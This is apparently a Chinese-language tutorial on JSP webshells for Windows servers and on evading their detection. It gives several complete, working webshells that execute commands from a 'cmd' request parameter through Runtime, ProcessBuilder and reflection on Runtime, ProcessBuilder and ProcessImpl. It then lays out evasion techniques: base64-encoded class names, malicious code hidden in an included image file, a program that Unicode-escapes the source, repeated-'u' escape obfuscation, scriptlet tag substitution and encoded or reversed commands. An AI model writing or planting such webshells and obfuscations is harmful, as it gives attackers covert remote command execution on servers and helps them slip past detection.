命令执行
Java命令执行的类,主要是Runtime
类和ProcessBuilder
类,根据这两个类,我们可以编写出经典的jsp webshell,代码以适用windows平台为例
Runtime类实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <% out.print(System.getProperty("os.name").toLowerCase()); String cmd = request.getParameter("cmd"); if(cmd != null){ Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd}); InputStream input = p.getInputStream(); InputStreamReader ins = new InputStreamReader(input, "GBK"); BufferedReader br = new BufferedReader(ins); out.print("<pre>"); String line; while((line = br.readLine()) != null) { out.println(line); } out.print("</pre>"); br.close(); ins.close(); input.close(); p.getOutputStream().close(); } %>
|
ProcessBuilder类实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <% out.print(System.getProperty("os.name").toLowerCase()); String cmd = request.getParameter("cmd"); if(cmd != null){ String[] cmds = new String[]{"cmd","/c",cmd}; ProcessBuilder builder = new ProcessBuilder(cmds); Process process = builder.start(); InputStream in = process.getInputStream(); InputStreamReader ins = new InputStreamReader(in, "GBK"); BufferedReader br = new BufferedReader(ins); out.print("<pre>"); String line; while((line = br.readLine()) != null) { out.println(line); } out.print("</pre>"); br.close(); ins.close(); in.close(); process.getOutputStream().close(); } %>
|
反射
利用反射来免杀webshell是常用技术之一
反射获取Runtime类实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <% out.print(System.getProperty("os.name").toLowerCase()); String cmd = request.getParameter("cmd"); if(cmd != null) { String[] cmds = new String[]{"cmd", "/c", cmd}; Class clazz = null; try { clazz = Class.forName("java.lang.Runtime"); } catch (ClassNotFoundException e) { e.printStackTrace(); } Constructor declaredConstructor = clazz.getDeclaredConstructor(); declaredConstructor.setAccessible(true); Object o = null; try { o = declaredConstructor.newInstance(); } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) { e.printStackTrace(); } Method show = null; try { show = clazz.getDeclaredMethod("exec", String[].class); } catch (NoSuchMethodException e) { e.printStackTrace(); } Object invoke = null; try { invoke = show.invoke(o, (Object) cmds); } catch (IllegalAccessException | InvocationTargetException e) { e.printStackTrace(); } Process invoke1 = (Process) invoke;
InputStream input = invoke1.getInputStream(); InputStreamReader ins = new InputStreamReader(input, "GBK"); BufferedReader br = new BufferedReader(ins); out.print("<pre>"); String line; while ((line = br.readLine()) != null) { out.println(line); } out.print("</pre>"); br.close(); ins.close(); input.close(); invoke1.getOutputStream().close(); } %>
|
反射获取ProcessBuilder类实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <% out.print(System.getProperty("os.name").toLowerCase()); String cmd = request.getParameter("cmd"); if(cmd != null){ String[] cmds = new String[]{"cmd","/c",cmd}; Class clazz = null; try { clazz = Class.forName("java.lang.ProcessBuilder"); } catch (ClassNotFoundException e) { e.printStackTrace(); } Constructor declaredConstructors = null; try { declaredConstructors = clazz.getDeclaredConstructor(String[].class); } catch (NoSuchMethodException e) { e.printStackTrace(); } Object o = null; try { o = declaredConstructors.newInstance((Object) cmds); } catch (InstantiationException | IllegalAccessException | InvocationTargetException e) { e.printStackTrace(); } Method command = null; try { command = clazz.getDeclaredMethod("start"); } catch (NoSuchMethodException e) { e.printStackTrace(); } Object invoke = null; try { invoke = command.invoke(o); } catch (IllegalAccessException | InvocationTargetException e) { e.printStackTrace(); } Process invoke1 = (Process) invoke; InputStream input = invoke1.getInputStream(); InputStreamReader ins = new InputStreamReader(input, "GBK"); BufferedReader br = new BufferedReader(ins); out.print("<pre>"); String line; while ((line = br.readLine()) != null) { out.println(line); } out.print("</pre>"); br.close(); ins.close(); input.close(); invoke1.getOutputStream().close(); } %>
|
反射获取ProcessImpl类实现命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.util.Map" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <% out.print(System.getProperty("os.name").toLowerCase()); String cmd = request.getParameter("cmd"); if(cmd != null) { String[] cmds = new String[]{"cmd.exe", "/c", cmd}; Class clazz = null; try { clazz = Class.forName("java.lang.ProcessImpl"); } catch (ClassNotFoundException e) { e.printStackTrace(); } //获取该class类 Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); method.setAccessible(true); //忽略访问权限 Process invoke1 = null; try { invoke1 = (Process) method.invoke(null, cmds, null, ".", null, true); } catch (IllegalAccessException | InvocationTargetException e) { e.printStackTrace(); }
InputStream input = invoke1.getInputStream(); InputStreamReader ins = new InputStreamReader(input, "GBK"); BufferedReader br = new BufferedReader(ins); out.print("<pre>"); String line; while ((line = br.readLine()) != null) { out.println(line); } out.print("</pre>"); br.close(); ins.close(); input.close(); invoke1.getOutputStream().close(); } %>
|
有些检测工具可能会对命令执行的类名进行检测,这里可以对类名进行加密或者编码,比如对java.lang.Runtime
进行base64编码
1 2
| String a = new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")); System.out.println(a);
|
不仅仅是类名,像命令执行的函数名同理,方法有很多,常见的加密都可以尝试。
include指令
Java Web 中有include
指令,可以将外部文件嵌入到当前jsp语句中,并同时解析页面的jsp语句,和PHP中的include
类似。
比如我们包含一个1.jpg
1 2
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ include file="1.jpg" %>
|
这个时候我们可以在1.jpg中插入恶意代码,也是可以正常访问的
编码
Java 程序可以自动识别Unicode编码,所以我们可以将java源代码中除了page指令的代码外的,全部编码。
编写代码如下,代码的功能是读取保存了恶意代码的文件,然后将文件中的代码进行unicode编码输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package com.sec.test01.test;
import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.io.IOException;
public class Testdd { public static void convert(String str) { str = (str == null ? "" : str); String tmp; StringBuffer sb = new StringBuffer(1000); char c; int i, j; sb.setLength(0); for (i = 0; i < str.length(); i++) { c = str.charAt(i); sb.append("\\u"); j = (c >>> 8); //取出高8位 tmp = Integer.toHexString(j); if (tmp.length() == 1) { sb.append("0"); } sb.append(tmp); j = (c & 0xFF); //取出低8位 tmp = Integer.toHexString(j); if (tmp.length() == 1) { sb.append("0"); } sb.append(tmp);
} System.out.print(new String(sb)); }
public static void main(String[] args) throws IOException { File srcfile = new File("D:\\code\\java1\\Reflect\\src\\main\\java\\com\\sec\\test01\\test\\1.txt"); FileReader fileReader = new FileReader(srcfile); BufferedReader bufferedReader = new BufferedReader(fileReader); String s; while ((s = bufferedReader.readLine()) != null) { convert(s); System.out.print("\r\n"); } } }
|
然后编写一个jsp,import需要的类,剩余就把生成的unicode字符粘贴到里面即可
1 2 3 4 5 6 7 8 9
| <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%> <%@ page import="java.io.*"%> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.lang.reflect.InvocationTargetException" %> <!--import导入需要的类,否则会导致创建变量失败--> <% 生成的unicode编码 %>
|
运行结果如下
可以进一步优化,Unicode编码的关键点在于以’\u’开头,表明是unicode编码,可以将’u’重复声明,即’\uuuuuuu’达到混淆的目的
1 2
| System.out.println("\u006f\u0075\u0074"); System.out.println("\uuuuuu006f\uuuuuuu0075\uuu0074");
|
输出一致:
可以再输出的时候将”\u”替换成”\uuuuuuuu”
1
| System.out.print(new String(sb).replace("\\u", "\\uuuuuuuu"));
|
同样,也可以转换成其他编码格式。
其他
标签绕过,jsp标签<%%>
可以使用<jsp:scriptlet></jsp:scriptlet>
代替。
1 2 3
| <jsp:scriptlet> 恶意代码 </jsp:scriptlet>
|
效果一样
对于传入的参数可以先将其存储进会话,然后调用。
1 2
| request.setAttribute("a",request.getParameter("cmd")); String cmd = request.getAttribute("a").toString();
|
检测传入的命令,可以通过编码、加密、反转等等
1 2
| //base64编码反转 String cmd = new String(Base64.getDecoder().decode(reverseStr(bs64)),"UTF-8");
|
参考
https://www.jianshu.com/p/c54ec1cbc091